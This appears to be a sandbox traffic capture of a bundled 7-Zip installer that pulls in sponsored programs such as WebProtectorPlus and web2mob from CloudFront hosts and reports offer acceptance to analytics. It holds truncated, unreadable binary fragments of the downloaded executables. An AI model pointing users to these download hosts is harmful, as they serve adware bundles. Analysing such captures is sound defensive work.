X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140677
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 17 Apr 2015 07:56:30 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jrAZitesk4XZn0MGLBrony6g4v3a9-fb6xu7BlYewqOKE3iCSm_xLw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=18232-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 54690
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 18232-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NHBDcw8UUkZI-tl_j7RJFi5a_E_hgrW5iuN7bVmy-1AhuyAgmn8T8w==
[email protected]@..E......%[email protected][email protected]$..
........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....@.
.. [email protected][email protected]@[email protected]@...t.
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W..
0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`[email protected]
.......W......?.u..=..B.\[email protected]....([email protected]...
..........j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS.F
..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W.....
....H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u.t
K9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5....
.Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$.t
.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\u.
8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..{.
\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V..
.......u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@..
.;[email protected]........._^[email protected]..'.E..u...0.$
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. ...
...ANu.^[email protected].$.P.t$...|p@...^[email protected]....#.Q
[email protected][email protected]...`[email protected]
[email protected]..&._^][email protected].;[email protected].
^][email protected]@[email protected][email protected]....
../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@.....6
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=63807-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 9115
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 63807-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: r1cUPpWlgAG_d9txFAslxCVbsgJ8d_7_lAiY70ZVRn9TMnGtzjQPsw==
.9)8..s..g..H{P8....7..................O.o{.....v/.w.......J..2B.2..s.
d;...3...d...c.....;....N.\(.]..O......wrH....)P......5...j<.-.x^..
.o8..^..N...._...$......n.3...8..`&,....l..#.D.....j.......k.]._..K...
..P.* W<,...s;I...c-..b.d.....naRX...L..J....8../.N.s9._.W.Ls.F-..H
...0.........:bpu..i.B.$... ..K.\O.v......Cr.e.!..J......t.JU._..">
&....1....7..).a......d.Ne..D..cw.v......k...n.Y..(&.BW..V.".#.2.. ...
..O...kf..Dg.:...z.o.,B.<4.<.E......*/..u.2...... T.. ?.."...`..
......A.......q.Dp.%.R....c......d4..L..p[.}..E.....[c.L..`k9f.....&ZZ
VR...p.X.3;..I.......<.......S..V....R....[....|...G..{.l.>/....
.k....._..........xfSp.".N..Lr.|[..D.~ot$H....c.....|.U..q;...}...a.f@
g.....h.Q.M.A7.U..G.N.C]..y...C..'}... .....<O. ..C.O..'.4.Rf..^.".
.M."..N.."I..rD[x&i%........&M....c...1.Q..........q.....&..[....H....
i..D......8...%...5:.Y....{..zP..&.k..1. rr...:..Y:.<H..6Kx....2^..
.................D...d.01......FEu.9..x..1....l].%....O.Z........?}"Y&
lt;.M...SY..0/M.l..E..d..!j..0UxY...;>c}.... .x91.-.XS2.)....K..K8.
UD.......... .c.....n(.^....R...e..Ef)3t\..|[email protected]\.Tp.P.J.8.S..X.
.A.Rn....i.. P.w^......7'..JP......8Q;=.}x~.'...x.......g..k.J.!bE....
..U X..z}(.~.....p...Q...y...(........Ox.%.|Q..h.Y...-...g..w.!.;..5..
..T.T.?..-......%^..r.<...?..n2 .K.q.TD....r...............1..(..`.
9.C..E&..725.\.......CR.5.....j1.t.(.z.'............r....q3..2AN.;bn..
.2Y.Vj.....>..J=iH........(.c.....{......*|s|[email protected]..
.5.../.I.........&.)t.... .(eNp$t.L%...(UZG.J"... Nk.L5(,yC.-{.m..
<<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1


User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 586214
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ubN0j16qWGE8m6Oo-L6ICjIwKsbw-NdnjSL7MtgNNFUa-WTzGaqGYw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......h...............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
..h............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>


GET /__utm.gif?utmwv=5.6.4&utms=2&utmn=2053866364&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Offer_Accepted&utmht=1430385784525&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140555
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140555..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=3&utmn=531905859&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Offer_Accepted&utmht=1430385802796&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140573
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140573..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=4&utmn=1272220941&utmhn=bi.bisrv.com&utme=8(sp_slug)9(istartsurf)&utmhid=870522207&utmr=-&utmp=Install_Complete&utmht=1430385826630&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140597
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140597..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..



GET /3428_3b67a5ef5d450c1556c543c6323981d9/1.pak HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: dlrkbt247pbk6.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 200 OK
Content-Type: binary/octet-stream
Content-Length: 2211109
Connection: keep-alive
Date: Tue, 28 Apr 2015 21:42:31 GMT
Last-Modified: Tue, 28 Apr 2015 21:15:19 GMT
ETag: "a998ee28bb26d889b8eed353d164f5bb"
Accept-Ranges: bytes
Server: AmazonS3
Age: 44626
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Iq9K1_rYrhgL2qd30cnq7Ik0tcZS_xhuums7HQay0kdTMI8RCrMgRg==
...... . .......!.............474.json..[...V.m..[.:?..y....xL..@a....
..w..sN.....^.9....'.t.."....u...........N5..g(.......{.)..Q.!..Dk..ze
f....s.{.kM.S.*:.......6|.&...M..ZWYr.....uA....R/..,...0..........g..
]V3..n.`...}..g_j.......i.n..;.........Ts..C......o.l.'7u..........l..
.z.ZJ......S"Z....f....W..m..^....$m.=...O.Z...k.=..i...`_...;......kV
........V..8?V.;...*......EF...^'...?*..n.r&....o..wv..}\S.,......N...
.4.w...6.......:....s..)......C.eg..4..........~........P.F.E.i....0..
....c.....9..feKn.q.x......y.................<.(.....PK........|*.F
..3.e....K......uninstallDlg2.xml.\m.....^.......z.f.N...mo..As..$(..@
K...L.../...w(Q.d.k9.6^T..."....gH....o..1.'"...,gh[...G.-gV&...X(..E8
....'.Z.........E.....(........q"sQ.@}=..Fd..X.8.!...Y..........|.o..1
..Y......%; t..hfI...Q.c.....S..8B.~.x..S%....p.G......u..m.R~%..E....
....{.gp..9..?.'..k.\..I...]........K..B.$...q...5^.]..1...O......s...
-.b..L..M.s......Z.^qy.....ul.!7....N..2....!;.)..'K...t..4..5.O...q..
.......u...9...:iG4.P....Ek.....(..D.C......ng..{.oP.....{....t..nd8.`
. .c.x..!.;.$7........ve.........p4.s.P....C..l=7e.7.......\0"t=,"..(`
[email protected]*.6E%#....)..~N..6........1T.(......3.0...f.......7.
.xb...v.&..C..q.`)n..e.Y.L1....j.'"$.q.=~..D.4...5Rq.....B.<(...m.Z
....z>"...7 .fp..J.&..>*....e.mOl.)#.g@.*....?.?.=..8..f.....B..
Q.G.4.......!.!...`.2.V.....%....hQ.-.Q..^{[email protected]............\..
:..Kv.s....../OW.`N6(..&.....(5."....m..C....c.C..?{C^......pbT..*-...
j..F...R.......U..'o.OJUu.]^4..^........x~ I..0[nV....PA.O...8.'.r
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=9116-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 63806
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 9116-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: K6PPG4aBbJYEjMMjFF36jQ0kO13Vj5JJzh9hAPYGBraF7aKbnapYFQ==
[email protected],.u....u.)u.....@..}....B....u9E........jj
...j.....tS9u.}..u.VW.Y.....uHj.X.I.u.9u.}[email protected]
[email protected].;u.u..u.)u..}.......u..E._^[.....t$..t$..5..@...(.....j.j
[email protected]@....V...B.V.B-..V..%....u.^.V.U%[email protected]'..
^.......SUV3.W.\$..D$...@..\$ .D$. [email protected]@[email protected].
...6B.S.D$8h`[email protected][email protected]..?*.... [email protected]*..S...q@..
=..B."..6B...u..D$."...B..t$.P..$..P.. [email protected]$........ [email protected] t..8".D$. 
[email protected]$.".8/[email protected]... t.:.u...`7B........{[email protected][email protected].@
[email protected]... t.:.u..L$ [email protected][email protected].@......
[email protected]$.P..#...8"u.@..:...6......X....Ph..B...)...5.p@...
[email protected][email protected]..([email protected]..(.
[email protected]\[email protected][email protected]@..t$ .S...;..D$.......9.
.6B.tvSU./#....;[email protected][email protected][email protected][email protected];.s
.;[email protected]..#....t*Vh..B...(..Vh..B...(...\$...l7B........D$.
[email protected]\$.......h.. [email protected][email protected]..'[email protected]
[email protected]@.8...B.u.Vh..B...'...t$.h.@B..~'..f...@[email protected]..%A.@.]..
...A.f..DB...6B... ...V.o'[email protected]\[email protected]..%....6B
...$...V.8'..V.....;.t.P...p@..\$....DB.Mu.SW..%.......9.T7B.t{j...*..
j.....)..j.....)..;...tH;.tD;[email protected]$.Pj([email protected],.D$(Ph,[email protected]$
,SPS.t$0.D$<[email protected]$..t$....
p@[email protected]@.....@...(...j.h..B.......V.5..A....t$..V..6Y..u.^.
[email protected]@...u._.%..A..^....A....H.;
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive

GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
If-Modified-Since: Wed, 11 Mar 2015 08:59:19 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:25:06 GMT
Server: nginx
Expires: Sun, 26 Apr 2015 05:10:26 GMT
Cache-Control: max-age=600
Age: 353
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _a8ZMNFHRL56BSRer-WSPrE_awEqwfXzKdGIKBGP4TNmIYUgyHk5uw==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 30 Apr 2
015 09:25:06 GMT..Server: nginx..Expires: Sun, 26 Apr 2015 05:10:26 GM
T..Cache-Control: max-age=600..Age: 353..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: _a8ZMNFHRL56BSRer-WSPrE_awEqwfXz
KdGIKBGP4TNmIYUgyHk5uw==..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=832858-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



V]tRg......4SK(..b4.J..(.B.`...s.1....Z...A....m.G^.....h..B..4.dK)...
...K.k...[.M..<.......2.C.F..x1.6..*..V.... ..#..L.-)...W.:'..E.Z..
.>..o.D]._..0......j.....QnZ*....9....'[.0...90..Y...%... _..e.,...
/.YP...;.%MC. ...7. ..EZr....'D.5.<...A....../.._3$g.....N...PBm.~b
!P.a.t.S...w....gu...P!..$[.....[..D.r.N."FMU....O..Z..!6....?.N...!X.
}...Nh....9.W..<H.Z.....,.........C...-.r.D....._3....o.?TS0tg..9.~
..."..5.'h\>..M........2B..&Q.}!m.j.~\..c..Q.......7. {.,.3...NmEV;
..[-...< |.y.M......s..xD~g.;..F...>..8....A.....k..c..y....|.^.
x.....T~i.<Ir-.T.%......L`yu...I.{.....r...kU........1......{......
...b)..x$..0..;.k..:Y:..=.f..x...Z(...O..1.....N.......W.....`.5k*...x
QLc.B..(N./Q.C.S=....(Bv...)o........0..z.....J..7...S...'m....... ...
B\l9.tJ0.k3...U......V.oCR...U.y..N,........}e...r..k....h.o.u..C..._2
..oGT^% ..D .lx........{T... \...i4`. q...Ku........5D.g~......J..."..
..=.....v%.4....N.IU..}.e..{T.J.3...#.o...u..8t.;%....Y. ..V.L~...7Z.-
 [email protected]...&K4.IX.6.5....|..OS...L.. ...y.I.p.hM...X....
.... ..... a!.p.N...@&..j_.x.q...d..d.ER.........Hzb.X....2.......}..f
....=h/..Q.y...l<..Iz.....w.... .o.. ...........f....?...y.q.T2..d.
..Yt.V..V. .....1m..G...w.EY..)..E/t<.?.E...T..(..V..........?LY..)
..E.^......X"i..H.=.............i.....\...T/[email protected].$...72..g..... 
......]%D.?.$.lv...<.pC5s..*G2..)....w..3..Y...B.w.{.M...N\.t......
4..gE.._G...S].gn.o..u......C....[;..0...c.z..B.M..0!!5n....'qg.......
...z...Y!..Jtyc.#Y.p..........,.....G.0b...dMx.wV...@T...`.H....:w
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Wed, 29 Apr 2015 09:03:13 GMT
Last-Modified: Wed, 29 Apr 2015 08:47:22 GMT
ETag: "55409a9a-6721"
Expires: Wed, 29 Apr 2015 09:13:13 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 496
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VfGRBwtvMOSP1ouXERz0pWKxGBk0lgDSnhWhhYbZvjN-t9UB0Gjqag==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /sponsored/webprotectorplus/eula-webprotectorplus.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
If-Modified-Since: Thu, 02 Apr 2015 12:59:57 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:23:48 GMT
Server: nginx
Expires: Thu, 30 Apr 2015 00:20:19 GMT
Cache-Control: max-age=600
Age: 330
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: avsSxELQnBQpQoiWd4vA_PnXPc-AiAcIWfs9ZNxvh20uheR7_B9jXA==
....


GET /affiliates/filesfrog/eula.html HTTP/1.1


